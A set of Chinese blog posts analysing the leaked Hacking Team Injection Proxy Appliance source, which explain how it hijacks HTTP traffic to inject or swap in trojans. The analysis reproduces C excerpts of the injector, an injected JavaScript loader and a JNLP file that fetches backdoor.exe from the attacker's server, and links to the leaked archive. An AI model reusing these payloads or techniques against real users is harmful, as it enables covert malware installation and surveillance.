about 3 results (0.02 seconds)

IPA中间人攻击之替换攻击

by LauCyun Nov 17,2015 09:38:37 8,199 views

IPA不是Apple程序应用文件iPhoneApplication的缩写,而是Injection Proxy Appliance的缩写,Injection Proxy Appliance是Galileo Remote Control System(伽利略远程控制系统,简称RCS)的一部分,其主要作用是:

  • IPA是Hacking Team RCS系统用于攻击的安全设备,并且其中使用中间人攻击技术和streamline injection机制,它可以在不同的网络情况下透明地进行操作,无论是在局域网还是内部交换机上。
  • IPA还可从监控的网络流量中检测HTTP连接,对其进行中间人攻击,主要有三种攻击方式:注入HTML注入EXE替换攻击。当监控的HTTP连接命中预先设置的规则时,IPA 将执行注入攻击。IPA 可以设置需要注入的用户(如IP地址),资源(如可执行文件)等规则。

上一篇文章《IPA中间人攻击之EXE注入》中,已分析了IPA的三大攻击方式之一的exe注入攻击。本文重点分析其替换攻击的攻击方式。

0x01 攻击原理

基于HTTP/1.0协议的客户机和服务器信息交换的过程包括四个步骤:

  1. 建立连接;
  2. 发送请求;
  3. 回送响应信息;
  4. 关闭连接。

IPA通过代理的模式从监控网络流量中检测HTTP连接,并劫持HTTP报文连接的报文,通过修改HTTP报文内容实现攻击,其攻击流程如图1。


图1 攻击原理

从图1中可知,替换注入攻击其实就两步:编辑木马设置响应报文。下面将重点分析一下这两步。

0x02 攻击过程

客户端发送的请求,我们不向服务器请求,直接将其丢弃,返回我们自己的响应报文。

1、读取木马文件和检测其有效性

首先根据文件设置文件的路径,并读取文件的内容。如果文件为空或者读取不成功的话,则不响应客户端。如果读取成功的话,将会进一步读取其大小,并设置为Content-Length属性。

在这里,我们了解一下头文件sys/stat.h的结构体:

struct stat
{
	dev_t st_dev;     //device 文件的设备编号
	ino_t st_ino;     //inode 文件的i-node
	mode_t st_mode;   //protection 文件的类型和存取的权限
	nlink_t st_nlink; //number of hard links 连到该文件的硬连接数目, 刚建立的文件值为1.
	uid_t st_uid;     //user ID of owner 文件所有者的用户识别码
	gid_t st_gid;     //group ID of owner 文件所有者的组识别码
	dev_t st_rdev;    //device type 若此文件为装置设备文件, 则为其设备编号
	off_t st_size;    //total size, in bytes 文件大小, 以字节计算
	unsigned long st_blksize; //blocksize for filesystem I/O 文件系统的I/O 缓冲区大小.
	unsigned long st_blocks;  //number of blocks allocated 占用文件区块的个数, 每一区块大小为512 个字节.
	time_t st_atime;  //time of lastaccess 文件最近一次被存取或被执行的时间, 一般只有在用mknod、utime、read、write 与tructate 时改变.
	time_t st_mtime;  //time of last modification 文件最后一次被修改的时间, 一般只有在用mknod、utime 和write 时才会改变
	time_t st_ctime;  //time of last change i-node 最近一次被更改的时间, 此参数会在文件所有者、组、权限被更改时更新
};

这里,stat()用来将参数file_name所指的文件状态,复制到参数buf所指的结构中。

2、设置响应报文的Content-Type属性

上面我们读取了木马文件,那么接下来就是根据木马文件的类型设置相应的Content-Type属性,我们做了如下处理:

/* create the HTTP response header */
/* special case for Blackberry files */
if (strstr(file, ".jad")) {
	content_type = "Content-Type: text/vnd.sun.j2me.app-descriptor\r\n";
	text_transfer = 1;
}
else if (strstr(file, ".cod")){
	content_type = "Content-Type: application/vnd.rim.cod\r\n";
	text_transfer = 1;
}
else if (strstr(file, ".html") || strstr(file, ".htm")){
	content_type = "Content-Type: text/html\r\n";
	text_transfer = 1;
}
else if (strstr(file, ".jnlp")){
	content_type = "Content-Type: application/x-java-jnlp-file\r\n";
	text_transfer = 1;
}
else {
	char mime_command[256];
	char output[128];
	char content[256];
	memset(content, 0, sizeof(content));
	/* get the mime type for the file */
	snprintf(mime_command, 256, "file -b --mime-type %s", path);
	FILE *p = popen(mime_command, "r");
	int r = fread(output, 1, sizeof(output), p);
	if (r > 0) {
		output[strlen(output) - 1] = 0;
		snprintf(content, 256, "Content-Type: %s", output);
	}
	fclose(p);
	/*
	* if left empty the content type will not be sent in the header
	* assuming binary transfer, don't try to replace anything in the file
	*/
	//content_type = "Content-Type: application/octet-stream\r\n";
	content_type = content;
	text_transfer = 0;
}

也就是说,除了四种类型情况外,其它系统都是根据类型设置Content-Type属性。

我们设置了.jad、.cod、.html、.jnlp四种类型的Content-Type属性。那么接下来就是编辑木马文件了。

首先,我们需要替换木马文件中的IPA_URL。再者,就是替换木马文件中的Host Name。用.jnlp分析一下,其.jnlp文件源码如下:

<?xml version="1.0" encoding="utf-8"?>
<jnlp codebase="%IPA_URL%" spec="1.0+">
  <information>
    <title>Java Web Start Updater</title>
    <vendor>%SITE_HOSTNAME%</vendor>
  </information>
  <security>
    <all-permissions/>
  </security>
  <resources>
    <j2se version="1.4.2+"/>
    <jar href="JwsUpdater.jar"/>
  </resources>
  <application-desc main-class="com.sun.JwsInstaller.JwsUpdater">
    <argument>%IPA_URL%/backdoor.exe</argument>
  </application-desc>
</jnlp>

这样,我们就把木马文件修改成功。

3、编写响应报文

前期的工作都做完了,那么接下来就是写设置响应报文了。

响应报文中必须具备:状态码、Content-Length、Content-Type、Connection四个属性。所以,如下:

/* prepare the HTTP header */
sprintf(data, "HTTP/1.0 200 OK\r\n"
	"Content-Length: %u\r\n"
	"%s" /* Content-Type: */
	"Connection: close\r\n"
	"\r\n", (u_int)content_length, content_type);

最后就是通过BIO_write将报文发送到客户端。这样整个替换攻击的过程就结束了。

0x03 总结

中间人攻击的替换攻击比其他两种方式更加暴力,就是直接替换,通过自己编写响应报文来实现攻击。

到这里,中间人攻击系列分析就结束了,希望这些对你有些作用。对分析有不足之处,请谅解。

...

Tags Read More..


IPA中间人攻击之EXE注入

by LauCyun Oct 28,2015 16:33:36 8,031 views

* 本文首次发表于 http://www.freebuf.com/articles/system/93394.html

IPA不是Apple程序应用文件iPhoneApplication的缩写,而是Injection Proxy Appliance的缩写,Injection Proxy Appliance是Galileo Remote Control System(伽利略远程控制系统,简称RCS)的一部分,其主要作用是:

  • IPA是Hacking Team RCS系统用于攻击的安全设备,并且其中使用中间人攻击技术和streamline injection机制,它可以在不同的网络情况下透明地进行操作,无论是在局域网还是内部交换机上。
  • IPA还可从监控的网络流量中检测HTTP连接,对其进行中间人攻击,主要有三种攻击方式:注入HTML注入EXE替换攻击。当监控的HTTP连接命中预先设置的规则时,IPA 将执行注入攻击。IPA 可以设置需要注入的用户(如IP地址),资源(如可执行文件)等规则。

上一篇文章《IPA中间人攻击之HTML注入》中,已分析了IPA的三大攻击方式之一的HTML注入攻击。本文重点分析其EXE注入的攻击方式。

0x01 攻击原理

基于HTTP/1.0协议的客户机和服务器信息交换的过程包括四个步骤:

  1. 建立连接;
  2. 发送请求;
  3. 回送响应信息;
  4. 关闭连接。

IPA通过代理的模式从监控网络流量中检测HTTP连接,并劫持HTTP连接的Http Header,通过修改Http Header内容实现攻击,其攻击流程如图1。


图1 EXE注入攻击过程

从图1中可知,exe注入攻击的最主要的两个步骤就是处理请求报文和植入木马。下面将重点分析一下这两步。

0x02 前期处理请求报文

1、检查客户端是否执行范围请求

Range头域可以请求实体的一个或者多个子范围。所以,必须先检查客户端发送的 HTTP 数据流包含一个“范围”请求,我们希望的是其不包含“范围”请求,因为我要对报文进行修改,修改之后肯定大小就变化了。如果其包含了“范围”请求的话,则直接返回以下报文(http reply header):

HTTP/1.1 416 Requested Range Not Satisfiable
Content-Type: text/html
Connection: close

也就是416错误。解决了“范围”请求之后,接着就是跟服务器完成一次握手,并建立SSL连接。

2、跟服务器完成一次握手,并建立SSL连接

检测“范围”请求之后,如果不存在“范围”请求的话,则需要跟服务器进行握手,并建立SSL连接。在这之前需要设置BIO的服务器和服务器端口号,如下:

/* retrieve the host tag */
host = strcasestr(header, HTTP_HOST_TAG);
if (host == NULL)
	return -EINVALID;
SAFE_STRDUP(host, host + strlen(HTTP_HOST_TAG));
/* trim the eol */
if ((p = strchr(host, '\r')) != NULL)
	*p = 0;
if ((p = strchr(host, '\n')) != NULL)
	*p = 0;
/* connect to the real server */
*sbio = BIO_new(BIO_s_connect());
BIO_set_conn_hostname(*sbio, host);   //
BIO_set_conn_port(*sbio, "http");

如果能过顺利完成握手的话,则继续下一步,否则就返回-ENOADDRESS (错误码5)。

0x03 处理请求报文

1、将HTTP协议从1.1降到1.0以避免分块编码和其他问题

首先,HTTP/1.0和HTTP/1.1的其中一个区别就是:

(1) HTTP 1.0规定浏览器与服务器只保持短暂的连接,浏览器的每次请求都需要与服务器建立一个TCP连接,服务器完成请求处理后立即断开TCP连接,服务器不跟踪每个客户也不记录过去的请求。如图2所示。


图2 HTTP/1.0

(2) HTTP 1.1支持持久连接,在一个TCP连接上可以传送多个HTTP请求和响应,减少了建立和关闭连接的消耗和延迟。一个包含有许多图像的网页文件的多个请求和应答可以在一个连接中传输,但每个单独的网页文件的请求和应答仍然需要使用各自的连接。如图3所示。


图3 HTTP/1.1

因为http注入不需要使用持久性连接,所以我们需要修改它为HTTP/1.0协议,这样做的话可以避免分块编码和其他一些问题。

2、强制使用纯编码,以避免任何类型的压缩

HTTP Header中Accept-Encoding是浏览器发给服务器,声明浏览器支持的编码类型的。

常见的有:

Accept-Encoding: compress, gzip //支持compress 和gzip类型
Accept-Encoding:               //默认是identity
Accept-Encoding: *             //支持所有类型 Accept-Encoding: compress;q=0.5, gzip;q=1.0//按顺序支持 gzip , compress
Accept-Encoding: gzip;q=1.0, identity; q=0.5, *;q=0   //按顺序支持 gzip , identity

为了后面更好的修改HTTP Reply Header,需要将Accept-Encoding设置为none,这样可以避免任何类型的压缩,源码如图4所示。


图4 设置Accept-Encoding为none

3、不使用缓存(避免服务器返回304响应)

不使用缓存就是为了更好的得到新的文件,需要删除Cache头域中的If-Modified-SinceIf-None-Match,如图5所示。


图5 删除Cache 头域中的If-Modified-Since和If-None-Match

If-Modified-Since

把客户端端缓存页面的最后修改时间发送到服务器去,服务器会把这个时间与服务器上实际文件的最后修改时间进行对比。如果时间一致,那么返回304,客户端就直接使用本地缓存文件。如果时间不一致,就会返回200和新的文件内容。客户端接到之后,会丢弃旧文件,把新文件缓存起来,并显示在浏览器中。如图6所示。


图6  If-Modified-Since

If-None-Match

If-None-Match和ETag一起工作,工作原理是在HTTP Response中添加ETag信息。 当用户再次请求该资源时,将在HTTP Request中加入If-None-Match信息(ETag的值)。如果服务器验证资源的ETag没有改变(该资源没有更新),将返回一个304状态告诉客户端使用本地缓存文件。否则将返回200状态和新的资源和Etag。如图7所示。


图7  If-None-Match

4、关闭保持连接

我们都知道Connection: keep-aliveConnection: close的区别:

Connection: keep-alive

当一个网页打开完成后,客户端和服务器之间用于传输HTTP数据的TCP连接不会关闭,如果客户端再次访问这个服务器上的网页,会继续使用这一条已经建立的连接。

Connection: close

代表一个Request完成后,客户端和服务器之间用于传输HTTP数据的TCP连接会关闭, 当客户端再次发送Request,需要重新建立TCP连接。

前面我们将HTTP协议从1.1降到1.0,为了HTTP Request Header中可能存在Connection: keep-alive而导致后面修改HTTP Reply Header时出问题。

这样我们就把HTTP Request Header修改完成了,接着就是向服务器发送请求啦~

/* send the request to the server */
BIO_puts(*sbio, header);

0x04 读取和检测响应报文

在前面我们把修改之后的请求报文发送到服务器,这样服务器也回复了响应报文。那接下来的就是读取响应报文和检测响应报文的有效性。

1、读取响应报文

通过BIO的int BIO_read(BIO *b, void *buf, int len)函数读取响应报文并存储到BIO中,如下:

/* read the reply header from the server */
LOOP{
	len = BIO_read(*sbio, data + written, sizeof(char)); //响应报文的长度
	if (len <= 0)
		break;

	written += len;  //记录报文的长度
	if (strstr(data, CR LF CR LF) || strstr(data, LF LF))
		break;
}

2、检测客户端是否请求成功

在读取报文之后,必先检测客户端的请求报文是否请求成功,如果请求失败的话,就完全不能进行木马注入,所以返回BIO_new(BIO_f_null())。所以这也是至关重要的一步。如果请求成功的话,在响应报文中必定会有HTTP/1.0 200 OK或者HTTP/1.1 200 OK状态码。

/* if the reply is OK */
if (!strncmp(data, HTTP10_200_OK, strlen(HTTP10_200_OK)) || 
	!strncmp(data, HTTP11_200_OK, strlen(HTTP11_200_OK))) 
{
	....//省略
}
else
{
	DEBUG_MSG(D_INFO, "Server [%s] reply is not HTTP 200 OK", host);
	DEBUG_MSG(D_EXCESSIVE, "Server reply is:\n%s", data);
	/* create a null filtering bio (send as it is) */
	fbio = BIO_new(BIO_f_null());
}

其中状态码 200 表示“请求已成功,请求所希望的响应头或数据体将随此响应返回。”。

3、检测响应报文的编码格式

通常,HTTP协议中使用Content-Length这个头来告知数据的长度。然后,在数据下行的过程中,Content-Length的方式要预先在服务器中缓存所有数据,然后所有数据再一股脑儿地发给客户端。

如果要一边产生数据一边发给客户端或者大小不确定情况下,WEB 服务器就需要使用"Transfer-Encoding: chunked"这样的方式来代替Content-Length。表明采用chunked编码方式来进行报文体的传输。chunked编码的基本方法是将大块数据分解成多块小数据。

但是,我们是要在响应报文中做注入,所以,不能让Transfer-Encoding: chunked出现。

Accept-Encoding是告知服务器采用何种压缩方式。

例如客户端发送以下请求头:

Accept:*/*
Accept-Encoding:gzip,deflate,sdch
  • Accept:*/* 表示它可以接受任何 MIME 类型的资源
  • Accept-Encoding:gzip,deflate,sdch 表示支持采用 gzip、deflate 或 sdch 压缩过的资源

很显然,我们不希望响应报文中的资源是压缩过的。强制使用纯编码,以避免任何类型的压缩。

4、检测响应报文是否为二进制数据

我们检测了传输编码之后,接下来要检测响应报文中的Content-TypeContent-Type是HTTP响应/POST头中重要的内容,用于定义网络文件的MIME类型和网页的编码。一般浏览器会根据Content-Type来决定如何处理返回的消息体内容,例如直接显示或者调用关联程序。

Wireshark中使用过滤语句http.content_type过滤出包含Content-Type的http数据包,如图8所示。


图8 Wireshark中Content-Type的http数据包

Content-Type有下面的形式:

  • Text:用于标准化地表示的文本信息,文本消息可以是多种字符集和或者多种格式的;
  • Multipart:用于连接消息体的多个部分构成一个消息,这些部分可以是不同类型的数据;
  • Application:用于传输应用程序数据或者二进制数据;
  • Message:用于包装一个E-mail消息;
  • Image:用于传输静态图片数据;
  • Audio:用于传输音频或者音声数据;
  • Video:用于传输动态影像数据,可以是与音频编辑在一起的视频数据格式。

为了后期对报文的修改,所以我希望响应报文是二进制的数据报文。如果不是二进制数据的话,则如下:

if (!strcasestr(data, "Content-Type: application/")) {
	DEBUG_MSG(D_INFO, "Not a binary stream, skipping it");
	/* create a null filtering bio (send as it is) */
	fbio = BIO_new(BIO_f_null());
}

到这里,对响应报文的检测工作基本上结束了。

0x05 木马植入

前面,我们修改了请求报文,也读取了和检测了响应报文,接下来就最关键的一步了,也就是说,万事俱备只欠东风。那么东风又是啥呢?对的,就是植入木马。但是...木马又如何注入呢?

现在我们要做的是植入木马,但是木马文件到底存不存在呢?对的,在植入之前,我们需要对其木马文件进行检测。

1、木马文件的检测

在vector-dropper项目中,我发现了名为cooker的项目。对的,这个就是我们写好的加工木马,如图9所示。但是,但是我又发现,这个源码是基于Boost库的。


图9 Cooker源码

编译通过后会生成一个后缀为.cooked的文件。如图10所示。


图10 .cooked木马文件

2、植入木马

接下来就是最最关键的一步了,也是最复杂的一步。

(1)检测MELTER库文件是否存在

我们结合OpenSSL库的BIO对木马进行植入,因为木马植入程序已生成为静态库文件。所以,我们需要对库文件是否存在进行检测。

#ifdef HAVE_MELTER
fbio = BIO_new_injector(path);
BIO_ctrl(fbio, BIO_CTRL_SET_DEBUG_FN, 1, debug_msg);
DEBUG_MSG(D_INFO, "BIO filter instantiated...");
#else
DEBUG_MSG(D_ERROR, "ERROR: we don't have the melter lib!!!");
fbio = BIO_new(BIO_f_null());
#endif

其中宏HAVE_MELTER的定义如下:

/* whether we have the melter or not */
#define HAVE_MELTER 1

不难看出BIO_new_injector函数在MELTER库的接口。

(2)通过BIO链实现木马的植入

在melter.h头文件中找到了BIO_new_injector函数的声明,并且在BIO_melt.cpp中找到相应的BIO_new_injector函数的定义。其定义如下:

BIO* BIO_new_injector(char* file);
BIO_METHOD* BIO_f_inject(void)
{
	return (&method_injectf);
}
BIO* BIO_new_injector(const char * file)
{
	BIO* bio = NULL;
	try {
		bio = BIO_new(BIO_f_inject());
		StreamingMelter* sm = (StreamingMelter*) bio->ptr;
		sm->initiate();
		sm->setRCS(file);
		//printf("BIO INJECT: %s\n", file);
	} catch (std::runtime_error& e) {
		printf("RUNTIME ERROR: %s\n", e.what());
		bio = BIO_new(BIO_f_null());
	} catch (...) {
		printf("UNKNOWN ERROR!\n");
		bio = BIO_new(BIO_f_null());
	}
	return bio;
}

通过分析,发现通过BIO_f_inject()创建了一个新的BIO对象,而BIO_f_inject()实际上只是返回一个BIO链,BIO链的属性如下:

BIO_METHOD method_injectf =
{
	BIO_TYPE_INJECT_FILTER,
	"RCS Inject filter",
	injectf_write,
	injectf_read,
	injectf_puts,
	injectf_gets,
	injectf_ctrl,
	injectf_new,
	injectf_free,
	injectf_callback_ctrl,
};

先解释一下,何为BIO链?我们都知道单个的BIO就是一个环节的BIO链的特例。一个BIO链通常包括一个source/sink型BIO和一个或多个filter型BIO,数据从第一个BIO读出或写入,然后经过一系列BIO变化到输出(通常是一个source/sink BIO)。

也就是上述的BIO链通过injectf_writeinjectf_read等一些列的操作来完成木马的植入。

(3)StreamingMelter类

上述,通过StreamingMelter* sm = (StreamingMelter*) bio->ptr创建一个新的StreamingMelter对象,在injectf_new()bio->ptr = new StreamingMelter(),具体的操作说白了也就是在StreamingMelter类中的构造函数中,其构造函数如下:

StreamingMelter()
	: done_(false), currentOffset_(0), idleToOffset_(0)
{
	textSection_ = pe().sections.end();
	dropper_.reset();
	buffer_.reset(new Chunk());
	output_.reset(new Chunk());
}

分析一下setRCS(const char* file)函数,定义如下:

void StreamingMelter::setRCS(const char* file) {
	DEBUG_MSG(D_INFO, "using backdoor %s", file);
	try
	{
		RCSDropper* dropper = new RCSDropper(file);
		dropper_.reset(dropper);
	}
	catch (InvalidCookerVersion& e)
	{
		DEBUG_MSG(D_WARNING, "%s has been cooked with RCSCooker version %s, required version is %s",
			file,
			e.effective().c_str(),
			e.required().c_str());
		throw parsing_error(e.what());
	}
	catch (std::runtime_error& e)
	{
		throw parsing_error(e.what());
	}
	DEBUG_MSG(D_DEBUG, "raw dropper size ... %d", (DWORD)dropper_->size());
}

其中的dropper_.reset(dropper)dropper_是一个boost::shared_ptr的智能指针,这里就是把dropper的值给dropper_

(4)RCSDropper类

通过分析StreamingMelter::setRCS(const char* file),发现其中调用了RCSDropper类。

RCSDropper::RCSDropper(const char* filepath) {
    // calculate final size
    bf::path p = filepath;
    if (!bf::exists(p))
        throw std::runtime_error(filepath);
    std::size_t fileSize = bf::file_size(filepath);
    //size_ = fileSize + 8192;
    size_ = fileSize + 16384;
    // create buffer and zero it out
    data_.insert(data_.begin(), size_, 0);
    // calculate all offsets
    offset_.restore = 0;
    offset_.header = std::max<std::size_t > (restoreStub(0), 32);
    DEBUG_MSG(D_DEBUG, "Size of restore stub: %d", offset_.header);
    // XXX magic number!
    DEBUG_MSG(D_DEBUG, "Offset to header:     %d", offset_.header);
    offset_.stage1 = offset_.header + fileSize;
    loadFile(filepath);
    if (verifyCookerVersion() == false) {
        std::string version = header()->version;
        if (version.empty())
            version = "<unknown>";
        throw InvalidCookerVersion(version, printable_required_cooker_version);
    }
    //generateKey();
    //encrypt();
}

在这之前,我们先来看一下offset_的数据结构:

struct {
	std::size_t restore;
	std::size_t header;
	std::size_t stage1;
} offset_;

通过restoreStub来获取offset_.header,其中使用了kobalicek大神的开源库asmjitasmjit这个库主要是可以将代码即时的编译成机器码,也就是所谓的jit技术。

最后就是加载木马文件。

(5)读取PE结构并修改

在前面,我介绍了BIO链,对的,BIO链通过injectf_writeinjectf_read等一些列的操作从而实现木马的植入。

其中使用了BeatriX大神的BeaEngine开源库,它是一个同时支持i386/AMD64且跨平台的反汇编引擎。

到这里,木马的植入也基本上讲完了。如果感兴趣的同学,可以去研究一下Pe的修改。

0x07 总结

我们从请求报文的前期处理的检测客户端的执行范围请求、跟服务器建立连接,再到请求报文的降协议、修改Accept-Encoding、修改为不使用缓存、关闭保持连接。接着就是读取响应报文、检测客户端是否能够请求成功、检测响应报文的编码格式、检测响应报文是否为二进制数据的响应报文的读取和检测。最后就是木马文件的检测和木马的植入。

这一系列的操作,我们就可以完成exe注入攻击。敬请期待《中间人攻击之替换攻击》。。。

...

Tags Read More..


IPA中间人攻击之HTML注入

by LauCyun Oct 16,2015 15:49:47 7,400 views

* 本文首次发表于 http://www.freebuf.com/articles/system/92783.html

事先声明本人是一枚爱捣鼓的小菜,所以对泄漏资料的分析难免会有疏忽或着错误,望各位围观的大侠手下留情。

7月5日晚,一家意大利软件厂商被攻击,其掌握的387.05GB漏洞(包括0day)数据泄露出来,由此可能引发的动荡,引起了业界一片哗然。因为所有文件加起来的大小整整有387.05GB,光下载就得好久好久。

在这里我提供一个完整版的百度网盘下载地址,有兴趣的同学可以直接去下载:http://yun.baidu.com/s/1jG8fOxS 。据说之所以这么大是因为里面有很多的邮件。但你不用担心你的小水管,有好人整理了一个只有1.3G的精华版。在这里我也提供一个百度网盘下载地址:http://yun.baidu.com/s/1eQDFm18 。在下载完完整版之前,我们就先拿精华版解解馋吧。

0x01 前言

这里的IPA不是Apple程序应用文件iPhoneApplication的缩写,而是Injection Proxy Appliance的缩写,Injection Proxy Appliance是Galileo Remote Control System(伽利略远程控制系统,简称RCS)的一部分,其主要作用是:

  • IPA是Hacking Team RCS系统用于攻击的安全设备,并且其中使用中间人攻击技术和streamline injection机制,它可以在不同的网络情况下透明地进行操作,无论是在局域网还是内部交换机上。
  • IPA还可从监控的网络流量中检测HTTP连接,对其进行中间人攻击,主要有三种攻击方式:注入HTML注入EXE替换攻击。当监控的HTTP连接命中预先设置的规则时,IPA 将执行注入攻击。IPA 可以设置需要注入的用户(如IP地址),资源(如可执行文件)等规则。

其vector-ipa的源代码在Hacked Team\rcs-dev\share\HOME\Fabio\archive\projects\pc\RCSRedirect文件夹中,其内容如图1。


图1 vector-ipa内容

通过源码发现,这是在Linux环境下使用Makefile文件对整个工程进行编译、连接等的C代码,并且还使用了openssl库。

0x02  攻击原理

基于HTTP/1.0协议的客户机和服务器信息交换的过程包括四个步骤:

  1. 建立连接;
  2. 发送请求;
  3. 回送响应信息;
  4. 关闭连接。

IPA通过代理的模式监控的网络流量中检测HTTP连接,并劫持HTTP连接的Http Header,通过修改Http Header内容实现攻击,其攻击流程如图2。


图2 IPA进行http注入攻击流程

从图2中可知,其攻击的最主要的两个步骤就是修改HTTP Request Header将木马写入HTTP Reply Header。下面重点介绍一下这两步。

0x03 HTTP Request Header

1、将HTTP协议从1.1降到1.0以避免分块编码和其他问题

首先,HTTP/1.0和HTTP/1.1的其中一个区别就是:

(1)HTTP 1.0规定浏览器与服务器只保持短暂的连接,浏览器的每次请求都需要与服务器建立一个TCP连接,服务器完成请求处理后立即断开TCP连接,服务器不跟踪每个客户也不记录过去的请求。如图3所示。


图3 HTTP/1.0

(2)HTTP 1.1支持持久连接,在一个TCP连接上可以传送多个HTTP请求和响应,减少了建立和关闭连接的消耗和延迟。一个包含有许多图像的网页文件的多个请求和应答可以在一个连接中传输,但每个单独的网页文件的请求和应答仍然需要使用各自的连接。如图4所示。


图4 HTTP/1.1

因为http注入不需要使用持久性连接,所以我们需要修改它为HTTP/1.0协议,这样做的话可以避免分块编码和其他一些问题。

2、强制使用纯编码,以避免任何类型的压缩

HTTP Header中Accept-Encoding是浏览器发给服务器,声明浏览器支持的编码类型的。

常见的有:

Accept-Encoding: compress, gzip //支持compress 和gzip类型
Accept-Encoding:               //默认是identity
Accept-Encoding: *             //支持所有类型 Accept-Encoding: compress;q=0.5, gzip;q=1.0//按顺序支持 gzip , compress
Accept-Encoding: gzip;q=1.0, identity; q=0.5, *;q=0   //按顺序支持 gzip , identity

为了后面更好的修改HTTP Reply Header,需要将Accept-Encoding设置为none,这样可以避免任何类型的压缩,源码如图5所示。


图5 设置Accept-Encoding为none

3、不使用缓存(避免服务器返回304响应)

不使用缓存就是为了更好的得到新的文件,需要删除Cache头域中的If-Modified-SinceIf-None-Match,如图6所示。


图6 删除Cache 头域中的If-Modified-Since和If-None-Match

If-Modified-Since

把客户端端缓存页面的最后修改时间发送到服务器去,服务器会把这个时间与服务器上实际文件的最后修改时间进行对比。如果时间一致,那么返回304,客户端就直接使用本地缓存文件。如果时间不一致,就会返回200和新的文件内容。客户端接到之后,会丢弃旧文件,把新文件缓存起来,并显示在浏览器中。如图7所示。


图7  If-Modified-Since

If-None-Match

If-None-Match和ETag一起工作,工作原理是在HTTP Response中添加ETag信息。 当用户再次请求该资源时,将在HTTP Request中加入If-None-Match信息(ETag的值)。如果服务器验证资源的ETag没有改变(该资源没有更新),将返回一个304状态告诉客户端使用本地缓存文件。否则将返回200状态和新的资源和Etag。如图8所示。


图8  If-None-Match

4、关闭保持连接

我们都知道Connection: keep-aliveConnection: close的区别:

Connection: keep-alive

当一个网页打开完成后,客户端和服务器之间用于传输HTTP数据的TCP连接不会关闭,如果客户端再次访问这个服务器上的网页,会继续使用这一条已经建立的连接。

Connection: close

代表一个Request完成后,客户端和服务器之间用于传输HTTP数据的TCP连接会关闭, 当客户端再次发送Request,需要重新建立TCP连接。

前面我们将HTTP协议从1.1降到1.0,为了HTTP Request Header中可能存在Connection: keep-alive而导致后面修改HTTP Reply Header时出问题。

这样我们就把HTTP Request Header修改完成了,接着就是向服务器发送请求啦~

0x04 木马文件

在前面我们把修改之后的HTTP Request Header发送到服务器,这样服务也返回了HTTP Reply Header响应。那接下来的这步也是最关键的一步,就是将木马写入HTTP Reply Header中。

1、读取木马文件内容

在这之前,我们需要对木马文件进行准备检测,如果不存在的话,则返回一个新的BIO。


图9 木马文件准备检测

从上面的木马文件准备检测可以发现,其中木马文件如图10所示。


图10  木马文件

注入的原理就是在HTTP Reply Header的head标签中注入一段JavaScript脚本。其JavaScript脚本的内容如下:

<script language="javascript" type="text/javascript">
    if (navigator.platform == "Win32")
    {
        if (navigator.appName == "Microsoft Internet Explorer")
        {
            document.write("<iframe src =\"\" width=\"0\" height=\"0\"></iframe> <object classid=\"clsid:5852F5ED-8BF4-11D4-A245-0080C6F74284\" height=0 width=0 > <param name=\"app\"  value=\"%IPA_URL%/JwsUpdater.jnlp\"> <param name=\"type\" value=\"application/x-java-jnlp-file\"> <param name=\"back\" VALUE=\"false\"> </object> ");
        }
        else
        {
            document.write("<meta http-equiv=\"refresh\" content=\"0;url=%IPA_URL%/JwsUpdater.jnlp\" />");
        }
    }
</script>

从JavaScript脚本中,发现脚本跳转到一个JwsUpdater.jnlp的文件。先普及一下什么是JNLP?

JNLP(Java Network Launching Protocol )是java提供的一种可以通过浏览器直接执行java应用程序的途径,它使你可以直接通过一个网页上的url连接打开一个java应用程序。

Java桌面应用程序以JNLP 的方式发布,如果版本升级后,不需要再向所有用户发布版本,只需要更新服务器的版本,这就相当于让java应用程序有了web应用的优点。

使用jnlp文件就是为了能够通过浏览器打开一个网页上的URL连接来执行java木马应用程序。

<?xml version="1.0" encoding="utf-8"?>
<jnlp codebase="%IPA_URL%" spec="1.0+">
  <information>
    <title>Java Web Start Updater</title>
    <vendor>%SITE_HOSTNAME%</vendor>
  </information>
  <security>
    <all-permissions/>
  </security>
  <resources>
    <j2se version="1.4.2+"/>
    <jar href="JwsUpdater.jar"/>
  </resources>
  <application-desc main-class="com.sun.JwsInstaller.JwsUpdater">
    <argument>%IPA_URL%/backdoor.exe</argument>
  </application-desc>
</jnlp>

其中,在resources标签中发现会把.jar文件下载到本地。而在application-desc设定参数的话,则会以安全的方式来执行jar文件中的com.sun.JwsInstaller.JwsUpdater类,自动加载服务器上的后门程序。

如果检测通过之后,就是将木马文件JwsUpdater.html的内容读取到html_to_inject中。

2、修改IPA_URL

在前面无论是JwsUpdater.html文件,还是JwsUpdater.jnlp文件都有一个“%IPA_URL%”。我需要把“%IPA_URL%”修改为工作服务器的地址。

3、设置搜索关键字和注入缓冲器

木马脚本、服务器网站都修改好,那么万事俱备只欠东风。对的,设置搜索关键字和注入缓冲器就是那阵东风。

先来了解一个结构体:

struct bio_inject_setup {
   char *search;
   char *inject;
   size_t inject_len;
};

其中,有三个成员,分别是搜索关键字(search)、注入木马脚本内容(inject)和注入木马脚本的长度(inject_len)。

前面也提到了,我们的木马内容是一段JavaScript脚本,所以注入木马脚本之处就是html文件中head标签内。

0x05 HTTP Reply Header

木马文件都准备好,那么接下来就是把木马文件写入到HTTP Reply Header中。分下面三个步骤:

1、将木马写入HTTP Reply Header

前面我们,设置搜索关键字和注入缓冲器。

在HTTP Reply Header搜索关键字,再把注入缓冲器的内容写入到HTTP Reply Header即可。如图11所示。


图11 将木马写入HTTP Reply Header

2、检查HTTP Reply Header是否gzip压缩

HTTP Reply Header必须采用纯编码,不能对其进行压缩。所以如果发现HTTP Reply Header有压缩的话,则停止攻击。

3、调整HTTP Reply Header的Content-Length属性

前面,在HTTP Reply Header中注入了木马脚本,所以HTTP Reply Header的长度肯定变化了,所以,我们需要调整HTTP Reply Header的Content-Length属性。

 

到这为止,就差最后一步,就是把HTTP Reply Header发送回客户端。这样就把木马程序种植到客户端。接下来就可以利用后门程序,做一系列的攻击。

...

Tags Read More..